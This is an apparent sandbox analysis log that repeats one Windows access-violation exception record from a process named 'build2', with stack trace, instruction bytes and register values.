__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
